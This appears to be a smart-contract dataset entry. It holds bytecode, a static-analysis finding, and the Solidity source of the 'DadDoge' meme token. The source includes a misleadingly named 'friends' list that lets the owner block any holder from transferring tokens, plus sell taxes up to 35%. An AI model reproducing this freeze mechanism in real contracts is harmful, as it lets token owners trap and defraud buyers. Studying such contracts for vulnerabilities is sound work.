89166000908152600f6020908152604080832094909455600c8152838220339093168252919091522054610e929086611c54565b600160a060020a038089166000908152600c6020908152604080832033851684528252808320949094559189168152600f9091522054610ed29086611c1a565b600160a060020a038088166000818152600f602052604090819020939093559190891690600080516020611ce18339815191529088905190815260200160405180910390a35060019695505050505050565b601281565b600080610f34611c66565b610f3c611c66565b600b54600090819033600160a060020a03908116620100009092041614610f6257600080fd5b600b54600160a060020a038c811662010000909204161415610f8357600080fd5b60008811610f9057600080fd5b8789811515610f9b57fe5b049550600f60008c600160a060020a0316600160a060020a03168152602001908152602001600020945087604051805910610fd35750595b9080825280602002602001820160405250935087604051805910610ff45750595b908082528060200260200182016040525092506001548a101561102257600054998a02999889029895909502945b600b54620100009004600160a060020a03166000908152600f60205260409020548a901161104f57600080fd5b88915086151561106157600854420196505b5060005b600188038110156110ba578584828151811061107d57fe5b602090810290910101528683828151811061109457fe5b6020908102909101015260085496909601956110b08287611c54565b9150600101611065565b818482815181106110c757fe5b60209081029091010152868382815181106110de57fe5b6020908102909101015284546110f4908b611c1a565b85556001850184805161110b929160200190611c78565b5060028501838051611121929160200190611c78565b50600b54620100009004600160a060020a03166000908152600f602052604090205461114d908b611c54565b600b8054600160a060020a03620100009182900481166000908152600f6020526040908190209490945591548e83169391900490911690600080516020611ce1833981519152908d905190815260200160405180910390a38a600160a060020a03167ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e08a60405190815260200160405180910390a25050505050505050505050565b600b5433600160a060020a0390811662010000909204161461121057600080fd5b6000600160a060020a033016311161122757600080fd5b600b54600160a060020a036201000090910481169030163180156108fc0290604051600060405180830381858888f19350505050151561126657600080fd5b600b54600160a060020a03620100009091048116903016600080516020611ce1833981519152813160405190815260200160405180910390a3565b600b5433600160a060020a039081166201000090920416146112c257600080fd5b600160a060020a03821615156112e757600b54620100009004600160a060020a031691505b600160a060020a0382166000908152600f602052604090205461130a9082611c1a565b600160a060020a0383166000908152600f60205260409020556002546113309082611c1a565b60028190556000549081151561134257fe5b04600155600160a060020a0330166000600080516020611ce18339815191528360405190815260200160405180910390a381600160a060020a031630600160a060020a0316600080516020611ce18339815191528360405190815260200160405180910390a35050565b60085481565b600b5433600160a060020a039081166201000090920416146113d357600080fd5b600b54610100900460ff1615806113eb575060055442105b806113f7575060075442115b151561140257600080fd5b600b5460ff16151561141357600080fd5b600b805461ff0019166101001790557fd5b089eb0ec44264fc274d9a4adaafa6bfe78bdbeaf4b128d6871d5314057c5660405160405180910390a1565b600b5433600160a060020a0390811662010000909204161461147157600080fd5b600991909155600a55565b600b5460009033600160a060020a039081166201000090920416146114a057600080fd5b60ff865111156114af57600080fd5b84518651146114bd57600080fd5b83518651146114cb57600080fd5b5060005b8551811015610d69576115248682815181106114e757fe5b906020019060200201518683815181106114fd57fe5b9060200190602002015186848151811061151357fe5b906020019060200201518686610f29565b6001016114cf565b600160a060020a03166000908152600f602052604090205490565b60095481565b60045481565b600b5433600160a060020a0390811662010000909204161461157457600080fd5b600b5460ff16151561158557600080fd5b600b805460ff191690557f24faf5703cd024754e538120a7237535f1ea01677015f7e32f67be64b66d9dac60405160405180910390a1565b600b54610100900460ff1681565b60408051908101604052600581527f464e4b4f53000000000000000000000000000000000000000000000000000000602082015281565b600b5433600160a060020a0390811662010000909204161461162357600080fd5b600b54610100900460ff16801561163c57506005544210155b801561164a57506007544211155b151561165557600080fd5b600b5460ff16151561166657600080fd5b600b805461ff00191690557fb9248e98c8764c68b0d9dd60de677553b9c38a5a521bbb362bb6f5aab6937e8960405160405180910390a1565b600b5433600160a060020a039081166201000090920416146116c057600080fd5b600391909155600455565b60075481565b600d6020526000908152604090205460ff1681565b600b5433600160a060020a0390811662010000909204161461170757600080fd5b600160a060020a0333166000908152600f602052604090205481111561172c57600080fd5b600160a060020a0382166000908152600f602052604090205461174f9082611c54565b600160a060020a0383166000908152600f60205260409020556002546117759082611c54565b60028190556000549081151561178757fe5b04600155600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b600b546000908190819060ff1615156117e457600080fd5b604060443610156117f157fe5b600160a060020a038616151561180657600080fd5b61180f336119ed565b600160a060020a0333166000908152600f60205260409020549093506118359084611c54565b91508185111561184457600080fd5b600160a060020a0333166000908152600f60205260409020546118679086611c54565b600160a060020a033381166000908152600f602052604080822093909355908816815220546118969086611c1a565b600160a060020a038088166000818152600f60205260409081902093909355913390911690600080516020611ce18339815191529088905190815260200160405180910390a350600195945050505050565b600b5460009033600160a060020a0390811662010000909204161461190c57600080fd5b60ff8351111561191b57600080fd5b815183511461192957600080fd5b5060005b82518160ff161015610bb157611973838260ff168151811061194b57fe5b90602001906020020151838360ff168151811061196457fe5b90602001906020020151610bb6565b60010161192d565b600b5433600160a060020a0390811662010000909204161461199c57600080fd5b600b5460ff16156119ac57600080fd5b600b805460ff191660011790557ff999e0378b31fd060880ceb4bc403bc32de3d1000bee77078a09c7f1d929a51560405160405180910390a1565b60055481565b600160a060020a0381166000908152600f602052604081208142815b6001840154811015611a615760028401805482908110611a2557fe5b906000526020600020900154821015611a595760018401805482908110611a4857fe5b906000526020600020900154830192505b600101611a09565b5090949350505050565b60035481565b600b5460ff1681565b600160a060020a039182166000908152600c6020908152604080832093909416825291909152205490565b60065481565b600b5433600160a060020a03908116620100009092041614611acc57600080fd5b600592909255600655600755565b600b5460009033600160a060020a03908116620100009092041614611afe57600080fd5b60ff82511115611b0d57600080fd5b5060005b81518160ff161015611bad57600d6000838360ff1681518110611b3057fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff161515611ba5576001600d6000848460ff1681518110611b7257fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790555b600101611b11565b5050565b600b5433600160a060020a03908116620100009092041614611bd257600080fd5b600160a060020a03811615611c1157600b805475ffffffffffffffffffffffffffffffffffffffff0000191662010000600160a060020a038416021790555b50565b600a5481565b600082820183811015611c2957fe5b9392505050565b6000828202831580611c4c5750828482811515611c4957fe5b04145b1515611c2957fe5b600082821115611c6057fe5b50900390565b60206040519081016040526000815290565b828054828255906000526020600020908101928215611cb3579160200282015b82811115611cb3578251825591602001919060010190611c98565b50611cbf929150611cc3565b5090565b611cdd91905b80821115611cbf5760008155600101611cc9565b905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820c55d205f6bcdfb4a9bc0a54e3ae4b283eb82279cff31e6e69bf7b93379b26c830029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,353 |
0x19ab0ac2c89e8c57454e5a35e9124ba17f2a1c0b
|
/**
*Submitted for verification at Etherscan.io on 2021-07-14
*/
/**
*
DadDoge
tg: https://t.me/DadDoge
twitter : https://twitter.com/Daddoge68
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool) ;
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DadDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode" Dad Doge ";
string private constant _symbol = unicode" D D ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613f5e565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613a3b565b610662565b6040516101f09190613f43565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614140565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906139ec565b610691565b6040516102589190613f43565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614140565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae91906141b5565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613b0a565b610783565b005b3480156102ec57600080fd5b5061030760048036038101906103029190613ab8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b919061395e565b61095f565b60405161033d9190614140565b60405180910390f35b34801561035257600080fd5b5061036d6004803603810190610368919061395e565b610aeb565b60405161037a9190613f43565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a5919061395e565b610b41565b6040516103b79190614140565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f9919061395e565b610c0a565b60405161040b9190614140565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613e75565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061395e565b610dd7565b60405161048a9190614140565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613f5e565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613a3b565b610e7f565b6040516104f29190613f43565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613f43565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613a77565b610eb2565b005b34801561055b57600080fd5b50610564611134565b005b34801561057257600080fd5b5061057b6111ae565b005b34801561058957600080fd5b5061059261127a565b60405161059f9190614140565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca919061395e565b6112ac565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906139b0565b61139c565b6040516106059190614140565b60405180910390f35b34801561061a57600080fd5b50610623611423565b005b60606040518060400160405280600a81526020017f2044616420446f67652000000000000000000000000000000000000000000000815250905090565b600061067661066f611935565b848461193d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611b08565b61075f846106aa611935565b61075a8560405180606001604052806028815260200161491760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610710611935565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd9092919063ffffffff16565b61193d565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c4611935565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90614020565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614140565b60405180910390a150565b610872611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690614080565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613f43565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b19190614276565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a119190614276565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a719190614276565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad19190614276565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b919190614357565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd9611935565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612c41565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db8565b9050919050565b610c63611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790614080565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d9190614357565b612e2690919063ffffffff16565b9050919050565b60606040518060400160405280600581526020017f2044204420000000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c611935565b8484611b08565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90614080565b60405180910390fd5b60005b815181101561113057601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561107f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061105e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561111d576001600660008484815181106110c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061112890614456565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611175611935565b73ffffffffffffffffffffffffffffffffffffffff161461119557600080fd5b60006111a030610c0a565b90506111ab81612ea1565b50565b6111b6611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614080565b60405180910390fd5b6001601560146101000a81548160ff02191690831515021790555060784261126b9190614276565b60178190555043601681905550565b60006112a7601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112b4611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ff